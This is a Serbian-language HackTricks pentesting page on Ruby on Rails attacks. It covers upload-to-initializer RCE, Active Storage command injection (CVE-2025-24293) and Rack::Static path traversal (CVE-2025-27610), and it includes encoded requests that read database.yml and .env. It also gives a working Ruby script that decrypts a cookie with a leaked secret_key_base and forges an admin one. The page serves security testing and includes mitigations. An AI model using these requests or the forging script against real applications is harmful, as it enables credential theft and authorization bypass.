Ruby trikovi

Reading time: 5 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Otpremanje fajla do RCE

Kao što je objašnjeno u this article, otpremanje .rb fajla u osetljive direktorijume kao što su config/initializers/ može dovesti do remote code execution (RCE) u Ruby on Rails aplikacijama.

Saveti:

  • Druge lokacije koje se izvršavaju pri startovanju aplikacije (boot/eager-load) su takođe rizične ako su zapisive (npr. config/initializers/ je klasičan primer). Ako nađete arbitrarno otpremanje fajla koje se smešta bilo gde pod config/ i kasnije evaluated/required, možete dobiti RCE pri boot-u.
  • Tražite dev/staging build-ove koji kopiraju fajlove pod kontrolom korisnika u container image gde će Rails učitati te fajlove pri startu.

Active Storage image transformation → command execution (CVE-2025-24293)

Kada aplikacija koristi Active Storage sa image_processing + mini_magick, i prosleđuje nepoverljive parametre metodama za transformaciju slika, Rails verzije pre 7.1.5.2 / 7.2.2.2 / 8.0.2.1 mogu dozvoliti command injection zato što su neke transformacije greškom dozvoljene po defaultu.

  • Rizičan obrazac izgleda ovako:
erb
<%= image_tag blob.variant(params[:t] => params[:v]) %>

gde su params[:t] i/ili params[:v] pod kontrolom napadača.

  • Šta probati tokom testiranja

  • Identifikujte endpoint-e koji prihvataju variant/processing opcije, imena transformacija ili proizvoljne ImageMagick argumente.

  • Fuzz-ujte params[:t] i params[:v] tražeći sumnjive greške ili neželjene efekte izvršavanja. Ako možete uticati na ime metode ili proslediti raw argumente koji dopiru do MiniMagick, možete ostvariti code exec na hostu koji procesuira slike.

  • Ako imate samo read-access do generisanih varijanti, pokušajte blind exfiltration preko crafted ImageMagick operacija.

  • Remedijacija/detekcije

  • Ako vidite Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 sa Active Storage + image_processing + mini_magick i user-controlled transformacijama, smatrati to eksploatabilnim. Preporučuje se nadogradnja i nametanje striktnih allowlists za metode/parametre i hardened ImageMagick policy.

Rack::Static LFI / path traversal (CVE-2025-27610)

Ako target stack koristi Rack middleware direktno ili preko framework-a, verzije rack pre 2.2.13, 3.0.14 i 3.1.12 dozvoljavaju Local File Inclusion preko Rack::Static kada :root nije podešen/je pogrešno konfiguran. Encodovani traversal u PATH_INFO može otkriti fajlove pod radnim direktorijumom procesa ili neočekivanim root-om.

  • Tražite aplikacije koje mount-uju Rack::Static u config.ru ili middleware stack-ovima. Probajte encodovane traversale prema statičkim putanjama, na primer:
text
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env

Podesite prefix da odgovara konfigurisanom urls:. Ako aplikacija odgovori sa sadržajem fajla, verovatno imate LFI ka svemu ispod razrešenog :root.

  • Mitigacija: nadogradite Rack; osigurajte da :root pokazuje samo na direktorijum sa javnim fajlovima i eksplicitno je podešen.

Forging/decrypting Rails cookies when secret_key_base is leaked

Rails enkriptuje i potpisuje cookies koristeći ključeve izvedene iz secret_key_base. If that value leaks (npr. u repozitorijumu, logovima ili pogrešno konfigurisanim credentials), obično možete dekriptovati, izmeniti i ponovo enkriptovati cookies. Ovo često vodi do authz bypass ako aplikacija skladišti uloge, user IDs, ili feature flags u kolačićima.

Minimal Ruby za dekriptovanje i ponovno enkriptovanje modernih cookies (AES-256-GCM, default u recentnim Rails):

ruby
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'

secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])

salt   = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret  = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc     = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)

plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"

# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"

Napomene:

  • Starije aplikacije mogu koristiti AES-256-CBC i saltove encrypted cookie / signed encrypted cookie, ili JSON/Marshal serializere. Po potrebi prilagodite saltove, cipher i serializer.
  • U slučaju kompromitacije ili procene, rotirajte secret_key_base kako biste invalidirali sve postojeće cookies.

Pogledajte i (Ruby/Rails-specifične ranjivosti)

Reference

  • Rails bezbednosno saopštenje: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
  • GitHub bezbednosno obaveštenje: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks